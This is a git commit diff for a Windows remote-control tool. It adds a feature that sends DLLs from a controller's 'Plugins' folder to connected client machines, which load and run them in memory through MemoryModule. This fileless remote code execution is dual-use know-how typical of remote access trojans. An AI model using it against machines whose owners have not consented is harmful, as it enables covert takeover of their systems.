feature: Add command to execute DLL

This commit is contained in:
yuanyuanxiang
2025-05-29 19:49:05 +08:00
parent 35df6677aa
commit 62b8f65f88
6 changed files with 254 additions and 22 deletions

View File

@@ -173,6 +173,7 @@
<ClCompile Include="KeyboardManager.cpp" />
<ClCompile Include="LoginServer.cpp" />
<ClCompile Include="Manager.cpp" />
<ClCompile Include="MemoryModule.c" />
<ClCompile Include="proxy\ProxyManager.cpp" />
<ClCompile Include="RegisterManager.cpp" />
<ClCompile Include="RegisterOperation.cpp" />
@@ -199,6 +200,7 @@
<ClInclude Include="KeyboardManager.h" />
<ClInclude Include="LoginServer.h" />
<ClInclude Include="Manager.h" />
<ClInclude Include="MemoryModule.h" />
<ClInclude Include="proxy\ProxyManager.h" />
<ClInclude Include="RegisterManager.h" />
<ClInclude Include="RegisterOperation.h" />

View File

@@ -9,6 +9,7 @@
#include <fstream>
#include <corecrt_io.h>
#include "ClientDll.h"
#include "MemoryModule.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
@@ -110,22 +111,74 @@ BOOL WriteBinaryToFile(const char* data, ULONGLONG size)
return TRUE;
}
typedef struct DllExecParam
{
State& exit;
DllExecuteInfo info;
BYTE* buffer;
DllExecParam(const DllExecuteInfo* dll, BYTE* data, State& status) : exit(status) {
memcpy(&info, dll, sizeof(DllExecuteInfo));
buffer = new BYTE[info.Size];
memcpy(buffer, data, info.Size);
}
~DllExecParam() {
SAFE_DELETE_ARRAY(buffer);
}
}DllExecParam;
DWORD WINAPI ExecuteDLLProc(LPVOID param) {
DllExecParam* dll = (DllExecParam*)param;
HMEMORYMODULE module = MemoryLoadLibrary(dll->buffer, dll->info.Size);
if (module) {
DllExecuteInfo info = dll->info;
if (info.Func[0]) {
FARPROC proc = MemoryGetProcAddress(module, info.Func);
if (proc) {
switch (info.CallType)
{
case CALLTYPE_DEFAULT:
((CallTypeDefault)proc)();
break;
default:
break;
}
}
}
else { // û<><C3BB>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֻ<EFBFBD><D6BB><EFBFBD><EFBFBD>DLL
while (S_CLIENT_EXIT != dll->exit) {
Sleep(1000);
}
}
MemoryFreeLibrary(module);
}
SAFE_DELETE(dll);
return 0x20250529;
}
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
if ((m_ulThreadCount = GetAvailableIndex()) == -1) {
if (!isExit) {
Mprintf("CKernelManager: The number of threads exceeds the limit.\n");
return;
}
}
else if (!isExit){
if ((m_ulThreadCount = GetAvailableIndex()) == -1 && !isExit) {
return Mprintf("CKernelManager: The number of threads exceeds the limit.\n");
} else if (!isExit){
m_hThread[m_ulThreadCount].p = nullptr;
m_hThread[m_ulThreadCount].conn = m_conn;
}
switch(szBuffer[0])
{
case CMD_EXECUTE_DLL: {
#ifdef _WIN64
const int sz = 1 + sizeof(DllExecuteInfo);
if (ulLength <= sz)break;
DllExecuteInfo* info = (DllExecuteInfo*)(szBuffer + 1);
if (info->Size == ulLength - sz)
CloseHandle(CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(info, szBuffer + sz, g_bExit), 0, NULL));
Mprintf("Execute '%s'%s succeed: %d Length: %d\n", info->Name, info->Func, szBuffer[1], info->Size);
#endif
break;
}
case COMMAND_PROXY: {
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;

View File

@@ -183,6 +183,7 @@
<ClCompile Include="KeyboardManager.cpp" />
<ClCompile Include="LoginServer.cpp" />
<ClCompile Include="Manager.cpp" />
<ClCompile Include="MemoryModule.c" />
<ClCompile Include="proxy\ProxyManager.cpp" />
<ClCompile Include="RegisterManager.cpp" />
<ClCompile Include="RegisterOperation.cpp" />
@@ -209,6 +210,7 @@
<ClInclude Include="KeyboardManager.h" />
<ClInclude Include="LoginServer.h" />
<ClInclude Include="Manager.h" />
<ClInclude Include="MemoryModule.h" />
<ClInclude Include="proxy\ProxyManager.h" />
<ClInclude Include="RegisterManager.h" />
<ClInclude Include="RegisterOperation.h" />

View File

@@ -217,6 +217,7 @@ enum
CMD_DLLDATA, // <20><>ӦDLL<4C><4C><EFBFBD><EFBFBD>
CMD_MASTERSETTING = 215, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CMD_HEARTBEAT_ACK = 216, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ
CMD_EXECUTE_DLL = 240, // ִ<>д<EFBFBD><D0B4><EFBFBD>
};
enum ProxyManager {
@@ -512,6 +513,16 @@ typedef struct MasterSettings {
char Reserved[476]; // Ԥ<><D4A4>
}MasterSettings;
// 100<30>ֽ<EFBFBD>: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> + <20><>С + <20><><EFBFBD>÷<EFBFBD>ʽ + DLL<4C><4C><EFBFBD><EFBFBD> + <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
typedef struct DllExecuteInfo {
int RunType; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int Size; // DLL <20><>С
int CallType; // <20><><EFBFBD>÷<EFBFBD>ʽ
char Name[32]; // DLL <20><><EFBFBD><EFBFBD>
char Func[32]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
char Reseverd[24];
}DllExecuteInfo;
enum
{
SOFTWARE_CAMERA = 0,
@@ -519,8 +530,12 @@ enum
SHELLCODE = 0,
MEMORYDLL = 1,
CALLTYPE_DEFAULT = 0, // Ĭ<>ϵ<EFBFBD><CFB5>÷<EFBFBD>ʽ: void (*CallTypeDefault)(void)
};
typedef void (*CallTypeDefault)(void);
typedef DWORD(__stdcall* PidCallback)(void);
inline const char* EVENTID(PidCallback pid) {

View File

@@ -164,6 +164,94 @@ END_MESSAGE_MAP()
// CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
std::string GetFileName(const char* filepath) {
const char* slash1 = strrchr(filepath, '/');
const char* slash2 = strrchr(filepath, '\\');
const char* slash = slash1 > slash2 ? slash1 : slash2;
return slash ? slash + 1 : filepath;
}
bool IsDll64Bit(BYTE* dllBase) {
if (!dllBase) return false;
auto dos = (IMAGE_DOS_HEADER*)dllBase;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) {
Mprintf("Invalid DOS header\n");
return false;
}
auto nt = (IMAGE_NT_HEADERS*)(dllBase + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) {
Mprintf("Invalid NT header\n");
return false;
}
WORD magic = nt->OptionalHeader.Magic;
return magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC;
}
// <20><><EFBFBD>أ<EFBFBD><D8A3><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD><EBA3A8>Ҫ<EFBFBD>ֶ<EFBFBD><D6B6>ͷţ<CDB7>
DllInfo* ReadPluginDll(const std::string& filename) {
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ģʽ<C4A3><CABD>
std::ifstream file(filename, std::ios::binary | std::ios::ate);
std::string name = GetFileName(filename.c_str());
if (!file.is_open() || name.length() >= 32) {
Mprintf("<EFBFBD>޷<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>: %s\n", filename.c_str());
return nullptr;
}
// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С
std::streamsize fileSize = file.tellg();
file.seekg(0, std::ios::beg);
// <20><><EFBFBD><EFBFBD><E4BBBA><EFBFBD><EFBFBD>: CMD + DllExecuteInfo + size
BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfo) + fileSize];
if (!file.read(reinterpret_cast<char*>(buffer + 1 + sizeof(DllExecuteInfo)), fileSize)) {
Mprintf("<EFBFBD><EFBFBD>ȡ<EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><EFBFBD>: %s\n", filename.c_str());
delete[] buffer;
return nullptr;
}
if (!IsDll64Bit(buffer + 1 + sizeof(DllExecuteInfo))) {
Mprintf("<EFBFBD><EFBFBD>֧<EFBFBD><EFBFBD>32λDLL: %s\n", filename.c_str());
delete[] buffer;
return nullptr;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
DllExecuteInfo info = { MEMORYDLL, fileSize, CALLTYPE_DEFAULT, };
memcpy(info.Name, name.c_str(), name.length());
buffer[0] = CMD_EXECUTE_DLL;
memcpy(buffer + 1, &info, sizeof(DllExecuteInfo));
Buffer* buf = new Buffer(buffer, 1 + sizeof(DllExecuteInfo) + fileSize);
SAFE_DELETE_ARRAY(buffer);
return new DllInfo{ name, buf };
}
std::vector<DllInfo*> ReadAllDllFilesWindows(const std::string& dirPath) {
std::vector<DllInfo*> result;
std::string searchPath = dirPath + "\\*.dll";
WIN32_FIND_DATAA findData;
HANDLE hFind = FindFirstFileA(searchPath.c_str(), &findData);
if (hFind == INVALID_HANDLE_VALUE) {
Mprintf("<EFBFBD>޷<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼: %s\n", dirPath.c_str());
return result;
}
do {
if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
std::string fullPath = dirPath + "\\" + findData.cFileName;
DllInfo* dll = ReadPluginDll(fullPath.c_str());
if (dll) {
result.push_back(dll);
}
}
} while (FindNextFileA(hFind, &findData));
FindClose(hFind);
return result;
}
CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
{
@@ -184,6 +272,12 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDial
}
InitializeCriticalSection(&m_cs);
// Init DLL list
char path[_MAX_PATH];
GetModuleFileNameA(NULL, path, _MAX_PATH);
GET_FILEPATH(path, "Plugins");
m_DllList = ReadAllDllFilesWindows(path);
}
@@ -194,6 +288,10 @@ CMy2015RemoteDlg::~CMy2015RemoteDlg()
SAFE_DELETE(m_ServerDLL[i]);
SAFE_DELETE(m_ServerBin[i]);
}
for (int i = 0; i < m_DllList.size(); i++)
{
SAFE_DELETE(m_DllList[i]);
}
}
void CMy2015RemoteDlg::DoDataExchange(CDataExchange* pDX)
@@ -256,6 +354,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_ONLINE_HOSTNOTE, &CMy2015RemoteDlg::OnOnlineHostnote)
ON_COMMAND(ID_HELP_IMPORTANT, &CMy2015RemoteDlg::OnHelpImportant)
ON_COMMAND(ID_HELP_FEEDBACK, &CMy2015RemoteDlg::OnHelpFeedback)
// <20><><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD>̬<EFBFBD>Ӳ˵<D3B2><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ID ӳ<>䵽ͬһ<CDAC><D2BB><EFBFBD><EFBFBD>Ӧ<EFBFBD><D3A6><EFBFBD><EFBFBD>
ON_COMMAND_RANGE(ID_DYNAMIC_MENU_BASE, ID_DYNAMIC_MENU_BASE + 20, &CMy2015RemoteDlg::OnDynamicSubMenu)
END_MESSAGE_MAP()
@@ -864,29 +964,50 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
CMenu Menu;
Menu.LoadMenu(IDR_MENU_LIST_ONLINE); //<2F><><EFBFBD>ز˵<D8B2><CBB5><EFBFBD>Դ <20><>Դ<EFBFBD><D4B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CMenu* SubMenu = Menu.GetSubMenu(0);
CMenu* SubMenu = Menu.GetSubMenu(0);
CPoint Point;
GetCursorPos(&Point);
int iCount = SubMenu->GetMenuItemCount();
EnterCriticalSection(&m_cs);
int n = m_CList_Online.GetSelectedCount();
LeaveCriticalSection(&m_cs);
if (n == 0) //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ѡ<EFBFBD><D1A1>
{
for (int i = 0;i<iCount;++i)
{
SubMenu->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //<2F>˵<EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
}
}
Menu.SetMenuItemBitmaps(ID_ONLINE_MESSAGE, MF_BYCOMMAND, &m_bmOnline[0], &m_bmOnline[0]);
Menu.SetMenuItemBitmaps(ID_ONLINE_UPDATE, MF_BYCOMMAND, &m_bmOnline[1], &m_bmOnline[1]);
Menu.SetMenuItemBitmaps(ID_ONLINE_DELETE, MF_BYCOMMAND, &m_bmOnline[2], &m_bmOnline[2]);
Menu.SetMenuItemBitmaps(ID_ONLINE_SHARE, MF_BYCOMMAND, &m_bmOnline[3], &m_bmOnline[3]);
Menu.SetMenuItemBitmaps(ID_MAIN_PROXY, MF_BYCOMMAND, &m_bmOnline[4], &m_bmOnline[4]);
Menu.SetMenuItemBitmaps(ID_ONLINE_HOSTNOTE, MF_BYCOMMAND, &m_bmOnline[5], &m_bmOnline[5]);
// <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>µ<EFBFBD><C2B5>Ӳ˵<D3B2>
CMenu newMenu;
if (!newMenu.CreatePopupMenu()) {
AfxMessageBox(_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ص<EFBFBD><EFBFBD>Ӳ˵<EFBFBD>ʧ<EFBFBD><EFBFBD>!"));
return;
}
int i = 0;
for (const auto& s : m_DllList) {
// <20><><EFBFBD>Ӳ˵<D3B2><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӳ˵<D3B2><CBB5><EFBFBD>
newMenu.AppendMenuA(MF_STRING, ID_DYNAMIC_MENU_BASE + i++, s->Name.c_str());
}
if (i == 0){
newMenu.AppendMenuA(MF_STRING, ID_DYNAMIC_MENU_BASE, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD>");
}
// <20><><EFBFBD>Ӳ˵<D3B2><CBB5><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD>
SubMenu->AppendMenuA(MF_STRING | MF_POPUP, (UINT_PTR)newMenu.Detach(), _T("ִ<EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>"));
int iCount = SubMenu->GetMenuItemCount();
EnterCriticalSection(&m_cs);
int n = m_CList_Online.GetSelectedCount();
LeaveCriticalSection(&m_cs);
if (n == 0) //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ѡ<EFBFBD><D1A1>
{
for (int i = 0; i < iCount; ++i)
{
SubMenu->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //<2F>˵<EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
}
}
// ˢ<>²˵<C2B2><CBB5><EFBFBD>ʾ
DrawMenuBar();
SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this);
*pResult = 0;
@@ -2333,3 +2454,30 @@ void CMy2015RemoteDlg::OnHelpFeedback()
CString url = _T("https://github.com/yuanyuanxiang/SimpleRemoter/issues/new");
ShellExecute(NULL, _T("open"), url, NULL, NULL, SW_SHOWNORMAL);
}
// <20>뽫64λ<34><CEBB>DLL<4C><4C><EFBFBD><EFBFBD> 'Plugins' Ŀ¼
void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID) {
if (m_DllList.size()==0){
MessageBoxA("<EFBFBD>뽫64λ<EFBFBD><EFBFBD>DLL<EFBFBD><EFBFBD><EFBFBD><EFBFBD> 'Plugins' Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD>"
"\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱִ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>εĺϷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
char path[_MAX_PATH];
GetModuleFileNameA(NULL, path, _MAX_PATH);
GET_FILEPATH(path, "Plugins");
m_DllList = ReadAllDllFilesWindows(path);
return;
}
int menuIndex = nID - ID_DYNAMIC_MENU_BASE; // <20><><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ID<49><44>
if (IDYES != MessageBoxA(CString("ȷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD>д<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>? ִ<><D6B4>δ<EFBFBD><CEB4><EFBFBD><EFBFBD><EFBFBD>ԵĴ<D4B5><C4B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɳ<EFBFBD><C9B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"
"\n<EFBFBD><EFBFBD>ʾ: <20><>ǰ<EFBFBD>汾Ҫ<E6B1BE><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>ʱִ<CAB1><D6B4><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>"),
_T("<EFBFBD><EFBFBD>ʾ"), MB_ICONQUESTION | MB_YESNO))
return;
EnterCriticalSection(&m_cs);
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
while (Pos && menuIndex < m_DllList.size()) {
Buffer* buf = m_DllList[menuIndex]->Data;
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), buf->length());
}
LeaveCriticalSection(&m_cs);
}

View File

@@ -13,6 +13,16 @@
// <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>ض<EFBFBD>ʱҲ<CAB1>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
#define CLIENT_EXIT_WITH_SERVER 0
typedef struct DllInfo {
std::string Name;
Buffer* Data;
~DllInfo() {
SAFE_DELETE(Data);
}
}DllInfo;
#define ID_DYNAMIC_MENU_BASE 36500
//////////////////////////////////////////////////////////////////////////
#include <unordered_map>
#include <fstream>
@@ -165,6 +175,7 @@ public:
CStatusBar m_StatusBar; //״̬<D7B4><CCAC>
CTrueColorToolBar m_ToolBar;
std::vector<DllInfo*> m_DllList;
NOTIFYICONDATA m_Nid;
HANDLE m_hExit;
IOCPServer* m_iocpServer;
@@ -223,4 +234,5 @@ public:
afx_msg void OnOnlineHostnote();
afx_msg void OnHelpImportant();
afx_msg void OnHelpFeedback();
afx_msg void OnDynamicSubMenu(UINT nID);
};